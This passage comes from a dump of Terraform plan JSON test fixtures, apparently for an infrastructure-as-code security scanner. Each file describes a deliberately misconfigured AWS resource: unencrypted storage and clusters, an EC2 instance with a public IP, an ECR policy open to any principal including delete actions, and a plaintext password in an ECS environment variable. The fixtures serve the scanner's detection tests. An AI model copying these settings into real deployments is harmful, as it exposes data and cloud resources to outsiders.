\"auth\": [],\n              \"build_status_config\": [],\n              \"git_submodules_config\": []\n            }\n          ],\n          \"tags_all\": true,\n          \"vpc_config\": []\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"artifacts\": [\n            {}\n          ],\n          \"build_batch_config\": [],\n          \"cache\": [],\n          \"environment\": [\n            {\n              \"environment_variable\": [],\n              \"registry_credential\": []\n            }\n          ],\n          \"file_system_locations\": [],\n          \"logs_config\": [],\n          \"secondary_artifacts\": [],\n          \"secondary_source_version\": [],\n          \"secondary_sources\": [],\n          \"source\": [\n            {\n              \"auth\": [],\n              \"build_status_config\": [],\n              \"git_submodules_config\": []\n            }\n          ],\n          \"tags_all\": {},\n          \"vpc_config\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_codebuild_project.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_codebuild_project\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"artifacts\": [\n              {\n                \"encryption_disabled\": {\n                  \"constant_value\": true\n                },\n                \"type\": {\n                  \"constant_value\": \"NO_ARTIFACTS\"\n                }\n              }\n            ],\n            \"environment\": [\n              {\n                \"compute_type\": {\n                  \"constant_value\": \"BUILD_GENERAL1_SMALL\"\n                },\n                \"image\": {\n                  \"constant_value\": \"dummy\"\n                },\n                \"type\": {\n                  \"constant_value\": \"LINUX_CONTAINER\"\n                }\n              }\n            ],\n            \"name\": {\n              \"constant_value\": \"dummy\"\n            },\n            \"service_role\": {\n              \"constant_value\": \"arn:aws:iam::123456789012:user/johndoe\"\n            },\n            \"source\": [\n              {\n                \"type\": {\n                  \"constant_value\": \"GITHUB\"\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_dax_encrypt.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_dax_cluster.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_dax_cluster\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"availability_zones\": null,\n            \"cluster_endpoint_encryption_type\": null,\n            \"cluster_name\": \"cluster-example\",\n            \"description\": null,\n            \"iam_role_arn\": \"arn:aws:iam::123456789012:user/johndoe\",\n            \"node_type\": \"dax.r4.large\",\n            \"notification_topic_arn\": null,\n            \"replication_factor\": 1,\n            \"server_side_encryption\": [],\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {\n            \"nodes\": [],\n            \"security_group_ids\": [],\n            \"server_side_encryption\": [],\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_dax_cluster.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_dax_cluster\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"availability_zones\": null,\n          \"cluster_endpoint_encryption_type\": null,\n          \"cluster_name\": \"cluster-example\",\n          \"description\": null,\n          \"iam_role_arn\": \"arn:aws:iam::123456789012:user/johndoe\",\n          \"node_type\": \"dax.r4.large\",\n          \"notification_topic_arn\": null,\n          \"replication_factor\": 1,\n          \"server_side_encryption\": [],\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"cluster_address\": true,\n          \"configuration_endpoint\": true,\n          \"id\": true,\n          \"maintenance_window\": true,\n          \"nodes\": true,\n          \"parameter_group_name\": true,\n          \"port\": true,\n          \"security_group_ids\": true,\n          \"server_side_encryption\": [],\n          \"subnet_group_name\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"nodes\": [],\n          \"security_group_ids\": [],\n          \"server_side_encryption\": [],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_dax_cluster.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_dax_cluster\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cluster_name\": {\n              \"constant_value\": \"cluster-example\"\n            },\n            \"iam_role_arn\": {\n              \"constant_value\": \"arn:aws:iam::123456789012:user/johndoe\"\n            },\n            \"node_type\": {\n              \"constant_value\": \"dax.r4.large\"\n            },\n            \"replication_factor\": {\n              \"constant_value\": 1\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_docdb_encrypt_cluster.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_docdb_cluster.docdb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_docdb_cluster\",\n          \"name\": \"docdb\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"backup_retention_period\": 1,\n            \"deletion_protection\": null,\n            \"enabled_cloudwatch_logs_exports\": null,\n            \"engine\": \"docdb\",\n            \"final_snapshot_identifier\": null,\n            \"global_cluster_identifier\": null,\n            \"master_password\": null,\n            \"port\": 27017,\n            \"skip_final_snapshot\": false,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": null,\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {\n            \"availability_zones\": [],\n            \"cluster_members\": [],\n            \"tags_all\": {},\n            \"vpc_security_group_ids\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_docdb_cluster.docdb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_docdb_cluster\",\n      \"name\": \"docdb\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"backup_retention_period\": 1,\n          \"deletion_protection\": null,\n          \"enabled_cloudwatch_logs_exports\": null,\n          \"engine\": \"docdb\",\n          \"final_snapshot_identifier\": null,\n          \"global_cluster_identifier\": null,\n          \"master_password\": null,\n          \"port\": 27017,\n          \"skip_final_snapshot\": false,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": null,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"apply_immediately\": true,\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"cluster_identifier\": true,\n          \"cluster_identifier_prefix\": true,\n          \"cluster_members\": true,\n          \"cluster_resource_id\": true,\n          \"db_cluster_parameter_group_name\": true,\n          \"db_subnet_group_name\": true,\n          \"endpoint\": true,\n          \"engine_version\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"master_username\": true,\n          \"preferred_backup_window\": true,\n          \"preferred_maintenance_window\": true,\n          \"reader_endpoint\": true,\n          \"tags_all\": true,\n          \"vpc_security_group_ids\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"availability_zones\": [],\n          \"cluster_members\": [],\n          \"master_password\": true,\n          \"tags_all\": {},\n          \"vpc_security_group_ids\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_docdb_cluster.docdb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_docdb_cluster\",\n          \"name\": \"docdb\",\n          \"provider_config_key\": \"aws\",\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_ebs_encrypt.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ebs_volume.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_volume\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"availability_zone\": \"dummy\",\n            \"final_snapshot\": false,\n            \"multi_attach_enabled\": null,\n            \"outpost_arn\": null,\n            \"size\": 40,\n            \"tags\": null,\n            \"timeouts\": null\n          },\n          \"sensitive_values\": {\n            \"tags_all\": {}\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_ebs_volume.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_volume\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"availability_zone\": \"dummy\",\n          \"final_snapshot\": false,\n          \"multi_attach_enabled\": null,\n          \"outpost_arn\": null,\n          \"size\": 40,\n          \"tags\": null,\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"iops\": true,\n          \"kms_key_id\": true,\n          \"snapshot_id\": true,\n          \"tags_all\": true,\n          \"throughput\": true,\n          \"type\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ebs_volume.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_volume\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"constant_value\": \"dummy\"\n            },\n            \"size\": {\n              \"constant_value\": 40\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_ec2_public_ip.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_instance.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"vulnerable_example\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"dummy\",\n            \"associate_public_ip_address\": true,\n            \"credit_specification\": [],\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"instance_type\": \"t3.micro\",\n            \"launch_template\": [],\n            \"source_dest_check\": true,\n            \"tags\": null,\n            \"timeouts\": null,\n            \"user_data_replace_on_change\": false,\n            \"volume_tags\": null\n          },\n          \"sensitive_values\": {\n            \"capacity_reservation_specification\": [],\n            \"credit_specification\": [],\n            \"ebs_block_device\": [],\n            \"enclave_options\": [],\n            \"ephemeral_block_device\": [],\n            \"ipv6_addresses\": [],\n            \"launch_template\": [],\n            \"maintenance_options\": [],\n            \"metadata_options\": [],\n            \"network_interface\": [],\n            \"private_dns_name_options\": [],\n            \"root_block_device\": [],\n            \"secondary_private_ips\": [],\n            \"security_groups\": [],\n            \"tags_all\": {},\n            \"vpc_security_group_ids\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_instance.vulnerable_example\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"vulnerable_example\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"dummy\",\n          \"associate_public_ip_address\": true,\n          \"credit_specification\": [],\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"instance_type\": \"t3.micro\",\n          \"launch_template\": [],\n          \"source_dest_check\": true,\n          \"tags\": null,\n          \"timeouts\": null,\n          \"user_data_replace_on_change\": false,\n          \"volume_tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"capacity_reservation_specification\": true,\n          \"cpu_core_count\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"disable_api_stop\": true,\n          \"disable_api_termination\": true,\n          \"ebs_block_device\": true,\n          \"ebs_optimized\": true,\n          \"enclave_options\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"host_resource_group_arn\": true,\n          \"iam_instance_profile\": true,\n          \"id\": true,\n          \"instance_initiated_shutdown_behavior\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"launch_template\": [],\n          \"maintenance_options\": true,\n          \"metadata_options\": true,\n          \"monitoring\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"placement_partition_number\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_dns_name_options\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"subnet_id\": true,\n          \"tags_all\": true,\n          \"tenancy\": true,\n          \"user_data\": true,\n          \"user_data_base64\": true,\n          \"vpc_security_group_ids\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"capacity_reservation_specification\": [],\n          \"credit_specification\": [],\n          \"ebs_block_device\": [],\n          \"enclave_options\": [],\n          \"ephemeral_block_device\": [],\n          \"ipv6_addresses\": [],\n          \"launch_template\": [],\n          \"maintenance_options\": [],\n          \"metadata_options\": [],\n          \"network_interface\": [],\n          \"private_dns_name_options\": [],\n          \"root_block_device\": [],\n          \"secondary_private_ips\": [],\n          \"security_groups\": [],\n          \"tags_all\": {},\n          \"vpc_security_group_ids\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_instance.vulnerable_example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"vulnerable_example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"ami\": {\n              \"constant_value\": \"dummy\"\n            },\n            \"associate_public_ip_address\": {\n              \"constant_value\": true\n            },\n            \"instance_type\": {\n              \"constant_value\": \"t3.micro\"\n            }\n          },\n          \"schema_version\": 1\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_ecr_no_public.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ecr_repository_policy.not_secure_policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecr_repository_policy\",\n          \"name\": \"not_secure_policy\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"policy\": \"{\\n    \\\"Version\\\": \\\"2008-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Sid\\\": \\\"new policy\\\",\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Principal\\\": \\\"*\\\",\\n            \\\"Action\\\": [\\n                \\\"ecr:GetDownloadUrlForLayer\\\",\\n                \\\"ecr:BatchGetImage\\\",\\n                \\\"ecr:BatchCheckLayerAvailability\\\",\\n                \\\"ecr:PutImage\\\",\\n                \\\"ecr:InitiateLayerUpload\\\",\\n                \\\"ecr:UploadLayerPart\\\",\\n                \\\"ecr:CompleteLayerUpload\\\",\\n                \\\"ecr:DescribeRepositories\\\",\\n                \\\"ecr:GetRepositoryPolicy\\\",\\n                \\\"ecr:ListImages\\\",\\n                \\\"ecr:DeleteRepository\\\",\\n                \\\"ecr:BatchDeleteImage\\\",\\n                \\\"ecr:SetRepositoryPolicy\\\",\\n                \\\"ecr:DeleteRepositoryPolicy\\\"\\n            ]\\n        }\\n    ]\\n}\\n\",\n            \"repository\": \"dummy\"\n          },\n          \"sensitive_values\": {}\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_ecr_repository_policy.not_secure_policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ecr_repository_policy\",\n      \"name\": \"not_secure_policy\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy\": \"{\\n    \\\"Version\\\": \\\"2008-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Sid\\\": \\\"new policy\\\",\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Principal\\\": \\\"*\\\",\\n            \\\"Action\\\": [\\n                \\\"ecr:GetDownloadUrlForLayer\\\",\\n                \\\"ecr:BatchGetImage\\\",\\n                \\\"ecr:BatchCheckLayerAvailability\\\",\\n                \\\"ecr:PutImage\\\",\\n                \\\"ecr:InitiateLayerUpload\\\",\\n                \\\"ecr:UploadLayerPart\\\",\\n                \\\"ecr:CompleteLayerUpload\\\",\\n                \\\"ecr:DescribeRepositories\\\",\\n                \\\"ecr:GetRepositoryPolicy\\\",\\n                \\\"ecr:ListImages\\\",\\n                \\\"ecr:DeleteRepository\\\",\\n                \\\"ecr:BatchDeleteImage\\\",\\n                \\\"ecr:SetRepositoryPolicy\\\",\\n                \\\"ecr:DeleteRepositoryPolicy\\\"\\n            ]\\n        }\\n    ]\\n}\\n\",\n          \"repository\": \"dummy\"\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"registry_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {}\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ecr_repository_policy.not_secure_policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecr_repository_policy\",\n          \"name\": \"not_secure_policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"policy\": {\n              \"constant_value\": \"{\\n    \\\"Version\\\": \\\"2008-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Sid\\\": \\\"new policy\\\",\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Principal\\\": \\\"*\\\",\\n            \\\"Action\\\": [\\n                \\\"ecr:GetDownloadUrlForLayer\\\",\\n                \\\"ecr:BatchGetImage\\\",\\n                \\\"ecr:BatchCheckLayerAvailability\\\",\\n                \\\"ecr:PutImage\\\",\\n                \\\"ecr:InitiateLayerUpload\\\",\\n                \\\"ecr:UploadLayerPart\\\",\\n                \\\"ecr:CompleteLayerUpload\\\",\\n                \\\"ecr:DescribeRepositories\\\",\\n                \\\"ecr:GetRepositoryPolicy\\\",\\n                \\\"ecr:ListImages\\\",\\n                \\\"ecr:DeleteRepository\\\",\\n                \\\"ecr:BatchDeleteImage\\\",\\n                \\\"ecr:SetRepositoryPolicy\\\",\\n                \\\"ecr:DeleteRepositoryPolicy\\\"\\n            ]\\n        }\\n    ]\\n}\\n\"\n            },\n            \"repository\": {\n              \"constant_value\": \"dummy\"\n            }\n          },\n          \"schema_version\": 0\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_ecs_encrypt_task.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ecs_task_definition.secure_ecs_task\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecs_task_definition\",\n          \"name\": \"secure_ecs_task\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"container_definitions\": \"[]\",\n            \"cpu\": null,\n            \"ephemeral_storage\": [],\n            \"execution_role_arn\": null,\n            \"family\": \"service\",\n            \"inference_accelerator\": [],\n            \"ipc_mode\": null,\n            \"memory\": null,\n            \"pid_mode\": null,\n            \"placement_constraints\": [],\n            \"proxy_configuration\": [],\n            \"requires_compatibilities\": null,\n            \"runtime_platform\": [],\n            \"skip_destroy\": false,\n            \"tags\": null,\n            \"task_role_arn\": null,\n            \"volume\": [\n              {\n                \"docker_volume_configuration\": [],\n                \"efs_volume_configuration\": [\n                  {\n                    \"authorization_config\": [\n                      {\n                        \"access_point_id\": \"dummy\",\n                        \"iam\": \"ENABLED\"\n                      }\n                    ],\n                    \"file_system_id\": \"dummy\",\n                    \"root_directory\": \"/opt/data\",\n                    \"transit_encryption\": \"\",\n                    \"transit_encryption_port\": null\n                  }\n                ],\n                \"fsx_windows_file_server_volume_configuration\": [],\n                \"host_path\": \"\",\n                \"name\": \"service-storage\"\n              }\n            ]\n          },\n          \"sensitive_values\": {\n            \"ephemeral_storage\": [],\n            \"inference_accelerator\": [],\n            \"placement_constraints\": [],\n            \"proxy_configuration\": [],\n            \"runtime_platform\": [],\n            \"tags_all\": {},\n            \"volume\": [\n              {\n                \"docker_volume_configuration\": [],\n                \"efs_volume_configuration\": [\n                  {\n                    \"authorization_config\": [\n                      {}\n                    ]\n                  }\n                ],\n                \"fsx_windows_file_server_volume_configuration\": []\n              }\n            ]\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_ecs_task_definition.secure_ecs_task\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ecs_task_definition\",\n      \"name\": \"secure_ecs_task\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"container_definitions\": \"[]\",\n          \"cpu\": null,\n          \"ephemeral_storage\": [],\n          \"execution_role_arn\": null,\n          \"family\": \"service\",\n          \"inference_accelerator\": [],\n          \"ipc_mode\": null,\n          \"memory\": null,\n          \"pid_mode\": null,\n          \"placement_constraints\": [],\n          \"proxy_configuration\": [],\n          \"requires_compatibilities\": null,\n          \"runtime_platform\": [],\n          \"skip_destroy\": false,\n          \"tags\": null,\n          \"task_role_arn\": null,\n          \"volume\": [\n            {\n              \"docker_volume_configuration\": [],\n              \"efs_volume_configuration\": [\n                {\n                  \"authorization_config\": [\n                    {\n                      \"access_point_id\": \"dummy\",\n                      \"iam\": \"ENABLED\"\n                    }\n                  ],\n                  \"file_system_id\": \"dummy\",\n                  \"root_directory\": \"/opt/data\",\n                  \"transit_encryption\": \"\",\n                  \"transit_encryption_port\": null\n                }\n              ],\n              \"fsx_windows_file_server_volume_configuration\": [],\n              \"host_path\": \"\",\n              \"name\": \"service-storage\"\n            }\n          ]\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"ephemeral_storage\": [],\n          \"id\": true,\n          \"inference_accelerator\": [],\n          \"network_mode\": true,\n          \"placement_constraints\": [],\n          \"proxy_configuration\": [],\n          \"revision\": true,\n          \"runtime_platform\": [],\n          \"tags_all\": true,\n          \"volume\": [\n            {\n              \"docker_volume_configuration\": [],\n              \"efs_volume_configuration\": [\n                {\n                  \"authorization_config\": [\n                    {}\n                  ]\n                }\n              ],\n              \"fsx_windows_file_server_volume_configuration\": []\n            }\n          ]\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"ephemeral_storage\": [],\n          \"inference_accelerator\": [],\n          \"placement_constraints\": [],\n          \"proxy_configuration\": [],\n          \"runtime_platform\": [],\n          \"tags_all\": {},\n          \"volume\": [\n            {\n              \"docker_volume_configuration\": [],\n              \"efs_volume_configuration\": [\n                {\n                  \"authorization_config\": [\n                    {}\n                  ]\n                }\n              ],\n              \"fsx_windows_file_server_volume_configuration\": []\n            }\n          ]\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ecs_task_definition.secure_ecs_task\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecs_task_definition\",\n          \"name\": \"secure_ecs_task\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"container_definitions\": {},\n            \"family\": {\n              \"constant_value\": \"service\"\n            },\n            \"volume\": [\n              {\n                \"efs_volume_configuration\": [\n                  {\n                    \"authorization_config\": [\n                      {\n                        \"access_point_id\": {\n                          \"constant_value\": \"dummy\"\n                        },\n                        \"iam\": {\n                          \"constant_value\": \"ENABLED\"\n                        }\n                      }\n                    ],\n                    \"file_system_id\": {\n                      \"constant_value\": \"dummy\"\n                    },\n                    \"root_directory\": {\n                      \"constant_value\": \"/opt/data\"\n                    }\n                  }\n                ],\n                \"name\": {\n                  \"constant_value\": \"service-storage\"\n                }\n              }\n            ]\n          },\n          \"schema_version\": 1\n        }\n      ]\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/iac/testProjects/exposedIac/plan/applicable/req_sw_terraform_aws_ecs_envvar_pass.json",
    "content": "{\n  \"format_version\": \"1.1\",\n  \"terraform_version\": \"1.3.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_ecs_task_definition.service\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecs_task_definition\",\n          \"name\": \"service\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"container_definitions\": \"[{\\\"cpu\\\":10,\\\"environment\\\":[{\\\"name\\\":\\\"FSX_NAME\\\",\\\"value\\\":\\\"my-fsx-name\\\"},{\\\"name\\\":\\\"FSX_PASSWORD\\\",\\\"value\\\":\\\"my-fsx-password\\\"}],\\\"essential\\\":true,\\\"image\\\":\\\"service-first\\\",\\\"memory\\\":512,\\\"name\\\":\\\"first\\\",\\\"portMappings\\\":[{\\\"containerPort\\\":80,\\\"hostPort\\\":80}]},{\\\"cpu\\\":10,\\\"essential\\\":true,\\\"image\\\":\\\"service-second\\\",\\\"memory\\\":256,\\\"name\\\":\\\"second\\\",\\\"portMappings\\\":[{\\\"containerPort\\\":443,\\\"hostPort\\\":443}]}]\",\n            \"cpu\": null,\n            \"ephemeral_storage\": [],\n            \"execution_role_arn\": null,\n            \"family\": \"service\",\n            \"inference_accelerator\": [],\n            \"ipc_mode\": null,\n            \"memory\": null,\n            \"pid_mode\": null,\n            \"placement_constraints\": [\n              {\n                \"expression\": \"attribute:ecs.availability-zone in [us-west-2a, us-west-2b]\",\n                \"type\": \"memberOf\"\n              }\n            ],\n            \"proxy_configuration\": [],\n            \"requires_compatibilities\": null,\n            \"runtime_platform\": [],\n            \"skip_destroy\": false,\n            \"tags\": null,\n            \"task_role_arn\": null,\n            \"volume\": [\n              {\n                \"docker_volume_configuration\": [],\n                \"efs_volume_configuration\": [],\n                \"fsx_windows_file_server_volume_configuration\": [],\n                \"host_path\": \"/ecs/service-storage\",\n                \"name\": \"service-storage\"\n              }\n            ]\n          },\n          \"sensitive_values\": {\n            \"ephemeral_storage\": [],\n            \"inference_accelerator\": [],\n            \"placement_constraints\": [\n              {}\n            ],\n            \"proxy_configuration\": [],\n            \"runtime_platform\": [],\n            \"tags_all\": {},\n            \"volume\": [\n              {\n                \"docker_volume_configuration\": [],\n                \"efs_volume_configuration\": [],\n                \"fsx_windows_file_server_volume_configuration\": []\n              }\n            ]\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_ecs_task_definition.service\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ecs_task_definition\",\n      \"name\": \"service\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"container_definitions\": 